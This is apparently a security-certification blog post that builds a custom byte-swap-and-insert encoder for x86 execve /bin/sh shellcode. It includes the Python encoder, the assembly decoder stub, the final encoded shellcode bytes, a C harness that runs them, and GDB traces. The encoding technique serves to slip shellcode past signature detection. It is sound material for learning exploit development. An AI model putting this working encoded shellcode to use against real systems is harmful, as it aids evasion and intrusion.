The blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-990
Assignment #4
Goals
- Take a simple shellcode that uses execve to spawn /bin/sh and run it through a custom encoder
- Explain the custom encoder and show it executing
What is an encoder?
An encoder can be defined as an implementation of transforming data from one format to another using a publicly known scheme that can be reversed. That is, it is not a form of encryption but rather a way to compress or change the form of data. In this case, known shellcode will be mangled by both shifting bytes around and inserting bytes. Upon decoding the reverse will happen which will allow the shellcode to run again.
The shellcode to encode
The following shellcode will spawn /bin/sh when executed. This will be the basis of what we will encode with the custom encoder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
global _start
section .text
_start:
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
The custom encoder
SwapSert Encoder The idea of this encoder is that it will swap two adjacent bytes and then insert a byte. The inserted byte in this example will be 0x7f.
Encoding phase
Step | Sequence | What is happening? |
---|---|---|
1 | \x41 \x42 \x43 \x44 | starting bytes |
2 | \x42 \x41 \x7f \x43 \x44 | swap 1st/2nd bytes and insert byte |
3 | \x42 \x41 \x7f \x44 \x43 \x7f | swap 3rd/4th bytes and insert byte |
Example of this being done on the first 8 bytes of our shellcode
Python script to encode a byte array
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" \
b"\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89" \
b"\xe1\xb0\x0b\xcd\x80"
encoded = ""
encoded2 = ""
print('Encoded shellcode ...')
pos = 0
insert_byte = b"\x7f"
while (pos+1) < len(shellcode):
encoded += "\\x%02x\\x%02x\\x%02x"
% (shellcode[pos+1], shellcode[pos], insert_byte[0])
encoded2 += "0x%02x,0x%02x,0x%02x,"
% (shellcode[pos+1], shellcode[pos], insert_byte[0])
pos += 2
if not pos == len(shellcode):
encoded += "\\x%02x\\x%02x\\x%02x"
% (insert_byte[0], shellcode[pos], insert_byte[0])
encoded2 += "0x%02x,0x%02x,0x%02x"
% (insert_byte[0], shellcode[pos], insert_byte[0])
print("Original: \"" + "".join(map(lambda x: '\\x%02x' % x, shellcode)) + "\"")
print("")
print("Format1: \"" + encoded + "\"")
print("Format2: " + encoded2)
Encoding the shellcode with the python script
1
2
3
4
5
6
[sengen@manjaro-x86 assignment4]$ python3 swapsert-encoder.py
Encoded shellcode ...
Original: "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
Format1: "\xc0\x31\x7f\x68\x50\x7f\x2f\x2f\x7f\x68\x73\x7f\x2f\x68\x7f\x69\x62\x7f\x89\x6e\x7f\x50\xe3\x7f\xe2\x89\x7f\x89\x53\x7f\xb0\xe1\x7f\xcd\x0b\x7f\x7f\x80\x7f"
Format2: 0xc0,0x31,0x7f,0x68,0x50,0x7f,0x2f,0x2f,0x7f,0x68,0x73,0x7f,0x2f,0x68,0x7f,0x69,0x62,0x7f,0x89,0x6e,0x7f,0x50,0xe3,0x7f,0xe2,0x89,0x7f,0x89,0x53,0x7f,0xb0,0xe1,0x7f,0xcd,0x0b,0x7f,0x7f,0x80,0x7f
Decoding phase
Step | Sequence | What is happening? |
---|---|---|
1 | \x42 \x41 \x7f \x44 \x 43 \x7f | starting encoded bytes |
2 | \x41 \x42 \x44 \x43 \x7f | swap 1st&2nd bytes and remove byte |
3 | \x41 \x42 \x43 \x44 | swap 3rd/4th bytes and remove byte |
The decoder will acquire a reference to the location of the encoded bytes and perform the reverse actions to transform it back to executable shellcode. To perform this task I started will a skeleton assembly file setup to perform a JMP/CALL/POP so I have the address of the encoded shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi
decode:
jmp short EncodedShellcode
call_shellcode:
call decoder
EncodedShellcode: db 0xc0,0x31,0x7f,0x68,0x50,0x7f,0x2f,0x2f,0x7f,0x68,0x73,0x7f,0x2f,0x68,0x7f,0x69,0x62,0x7f,0x89,0x6e,0x7f,0x50,0xe3,0x7f,0xe2,0x89,0x7f,0x89,0x53,0x7f,0xb0,0xe1,0x7f,0xcd,0x0b,0x7f,0x7f,0x80,0x7f
The process of decoding requires a few things to be tracked: the current location of the last decoded byte, how far out the next set of bytes to grab is, and finally testing 3 bytes ahead for another \x7f byte.
NOTE: If by chance the shellcode is done and the next insert byte check happens to run into a \x7f that is not part of the shellcode it would continue to swap bytes. Low chance, but it could happen. That said, it would not stop the shell from spawning on us and would only matter if the shellcode was back-to-back with additional instructions we needed to execute after the shell was spawned.
Setting up registers and initial values
The first part of our shellcode will save a pointer to the first byte of our encoded shellcode. Since we are performing a JMP/CALL/POP we’ll be able to POP the memory location of the array of bytes we’ll be working with without having to know it’s address beforehand.
EAX/EBX/ECX/EDX are all zeroed out as they will be used for swapping each pair of bytes and for tracking the offset where bytes are to be swapped into next.
1
2
3
4
5
6
7
decoder:
pop esi ; save location of encoded shellcode
xor ebx,ebx ; zero out ebx - used for swapping
xor ecx,ecx ; zero out ecx - insert byte tracking
mul ecx ; zero out EAX/EDX - used for swapping
mov edi,esi ; save encoded shellcode location into edi
mov cl,2 ; location of next expected insert byte
Decode loop
Now we are in the decoding loop where we’ll continue to swap bytes and overshift 0x7f bytes. Our first check will be to determine whether we have a 0x7f byte in the next predetermined location indicating we should perform another swap. If we don’t see it there we’ll conclude that we are done swapping and we should exit the loop.
1
2
cmp byte [esi+ecx], 0x7f ; should another swap occur?
jne done ; jump out of loop
Next, we perform a swap. We can’t swap the bytes between memory locations so we save each byte to a register and then save the register value back to opposite memory locations for perform the swap. ECX is tracking the location further ahead where the 0x7f byte is at and the two bytes to swap will always be the two bytes behind it.
1
2
3
4
mov al, [esi+ecx-2] ; save first byte in pair
mov bl, [esi+ecx-1] ; save second byte in pair
mov [edi], bl ; swap byte
mov [edi+1], al ; swap byte
Finally, we adjust the offset of where the next 0x7f byte is expected and update the memory offset of where we would swap the bytes to. We then jump to the beginning of the loop where we test for the existence of the expected 0x7f byte.
1
2
3
add ecx, 3 ; the next 0x7f byte should be 3 bytes ahead
add edi, 2 ; memory offset for next swap save
jmp short decode ; jump back to the beginning of the loop
Completed decoder in x86 assembly
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi ; save location of encoded shellcode
xor ebx,ebx ; zero out ebx - used for swapping
xor ecx,ecx ; zero out ecx - insert byte tracking
mul ecx ; zero out EAX/EDX - used for swapping
mov edi,esi ; save encoded shellcode location into edi
mov cl,2 ; location of next expected insert byte
decode:
cmp byte [esi+ecx], 0x7f ; should another swap occur?
jne done ; jump out of loop
mov al, [esi+ecx-2] ; save first byte in pair
mov bl, [esi+ecx-1] ; save second byte in pair
mov [edi], bl ; swap byte
mov [edi+1], al ; swap byte
add ecx, 3 ; the next 0x7f byte should be 3 bytes ahead
add edi, 2 ; memory offset for next swap save
jmp short decode ; jump back to the beginning of the loop
done:
jmp short EncodedShellcode
call_shellcode:
call decoder
EncodedShellcode: db 0xc0,0x31,0x7f,0x68,0x50,0x7f,0x2f,0x2f,0x7f,0x68,0x73,0x7f,0x2f,0x68,0x7f,0x69,0x62,0x7f,0x89,0x6e,0x7f,0x50,0xe3,0x7f,0xe2,0x89,0x7f,0x89,0x53,0x7f,0xb0,0xe1,0x7f,0xcd,0x0b,0x7f,0x7f,0x80,0x7f
Compiling, testing, and emmiting shellcode for use
1
2
[sengen@manjaro-x86 /]$ nasm -f elf32 ./swapsert-decoder.nasm -o swapsert-decoder.o
[sengen@manjaro-x86 /]$ ld -z execstack -N ./swapsert-decoder.o -o swapsert-decoder
Execute our assembly code to ensure we get our bash shell
1
2
[sengen@manjaro-x86 /]$ ./swapsert-decoder
sh-4.4$
We can now extract the shellcode bytes for use in our test C program
1
2
[sengen@manjaro-x86 /]$ objdump -d ./swapsert-decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x28\x5e\x31\xdb\x31\xc9\xf7\xe1\x89\xf7\xb1\x02\x80\x3c\x0e\x7f\x75\x15\x8a\x44\x0e\xfe\x8a\x5c\x0e\xff\x88\x1f\x88\x47\x01\x83\xc1\x03\x83\xc7\x02\xeb\xe5\xeb\x05\xe8\xd3\xff\xff\xff\xc0\x31\x7f\x68\x50\x7f\x2f\x2f\x7f\x68\x73\x7f\x2f\x68\x7f\x69\x62\x7f\x89\x6e\x7f\x50\xe3\x7f\xe2\x89\x7f\x89\x53\x7f\xb0\xe1\x7f\xcd\x0b\x7f\x7f\x80\x7f"
Add our shellcode to our test C program and ensure it runs
1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\xeb\x28\x5e\x31\xdb\x31\xc9\xf7\xe1\x89\xf7\xb1\x02\x80\x3c\x0e\x7f\x75\x15\x8a\x44\x0e\xfe\x8a\x5c\x0e\xff\x88\x1f\x88\x47\x01\x83\xc1\x03\x83\xc7\x02\xeb\xe5\xeb\x05\xe8\xd3\xff\xff\xff\xc0\x31\x7f\x68\x50\x7f\x2f\x2f\x7f\x68\x73\x7f\x2f\x68\x7f\x69\x62\x7f\x89\x6e\x7f\x50\xe3\x7f\xe2\x89\x7f\x89\x53\x7f\xb0\xe1\x7f\xcd\x0b\x7f\x7f\x80\x7f";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
1
2
3
[sengen@manjaro-x86 /]$ ./shellcode
Shellcode Length: 86
sh-4.4$
Watching the stack in GDB
After esp is popped into esi (our encoded shellcode)
1
2
3
4
5
6
gdb$ x/40c $esi
0x40206f <code+47>: 0xc0 0x31 0x7f 0x68 0x50 0x7f 0x2f 0x2f
0x402077 <code+55>: 0x7f 0x68 0x73 0x7f 0x2f 0x68 0x7f 0x69
0x40207f <code+63>: 0x62 0x7f 0x89 0x6e 0x7f 0x50 0xe3 0x7f
0x402087 <code+71>: 0xe2 0x89 0x7f 0x89 0x53 0x7f 0xb0 0xe1
0x40208f <code+79>: 0x7f 0xcd 0xb 0x7f 0x7f 0x80 0x7f 0x0
After first swap
The first and second bytes (0xc0 and 0x31) have been swapped.
1
2
3
4
5
6
gdb$ x/40c $esi
0x40206f <code+47>: 0x31 0xc0 0x7f 0x68 0x50 0x7f 0x2f 0x2f
0x402077 <code+55>: 0x7f 0x68 0x73 0x7f 0x2f 0x68 0x7f 0x69
0x40207f <code+63>: 0x62 0x7f 0x89 0x6e 0x7f 0x50 0xe3 0x7f
0x402087 <code+71>: 0xe2 0x89 0x7f 0x89 0x53 0x7f 0xb0 0xe1
0x40208f <code+79>: 0x7f 0xcd 0xb 0x7f 0x7f 0x80 0x7f 0x0
After second swap
The 4th and 5th bytes (0x68 and 0x50) have been swapped and placed into the 3rd and 4th byte position overwriting the 0x7f. This process of swapping bytes and moving them back against the rest of the shellcode overwriting the 0x7f bytes will continue until the end.
1
2
3
4
5
6
gdb$ x/40c $esi
0x40206f <code+47>: 0x31 0xc0 0x50 0x68 0x50 0x7f 0x2f 0x2f
0x402077 <code+55>: 0x7f 0x68 0x73 0x7f 0x2f 0x68 0x7f 0x69
0x40207f <code+63>: 0x62 0x7f 0x89 0x6e 0x7f 0x50 0xe3 0x7f
0x402087 <code+71>: 0xe2 0x89 0x7f 0x89 0x53 0x7f 0xb0 0xe1
0x40208f <code+79>: 0x7f 0xcd 0xb 0x7f 0x7f 0x80 0x7f 0x0
After last swap
The final bytes are now from 0x40206f to the first byte at 0x402087 (0x80). The rest of the bytes after this are now junk and was the extra space the encoded shellcode was using up due to the 0x7f we’ve been overwriting.
1
2
3
4
5
6
gdb$ x/40c $esi
0x40206f <code+47>: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68
0x402077 <code+55>: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
0x40207f <code+63>: 0x89 0xe2 0x53 0x89 0xe1 0xb0 0xb 0xcd
0x402087 <code+71>: 0x80 0x7f 0x7f 0x89 0x53 0x7f 0xb0 0xe1
0x40208f <code+79>: 0x7f 0xcd 0xb 0x7f 0x7f 0x80 0x7f 0x0
Finally we jump to the decoded shellcode to execute it.
When you compare this to the original shellcode we started with to encode you’ll see we have turned it back into the same.
1
2
3
4
5
6
7
8
9
10
11
=> 0x0040206f <+47>: xor eax,eax
0x00402071 <+49>: push eax
0x00402072 <+50>: push 0x68732f2f
0x00402077 <+55>: push 0x6e69622f
0x0040207c <+60>: mov ebx,esp
0x0040207e <+62>: push eax
0x0040207f <+63>: mov edx,esp
0x00402081 <+65>: push ebx
0x00402082 <+66>: mov ecx,esp
0x00402084 <+68>: mov al,0xb
0x00402086 <+70>: int 0x80
Source code
All source code for this assignment can be found at
https://github.com/tdmathison/SLAE32/tree/master/assignment4.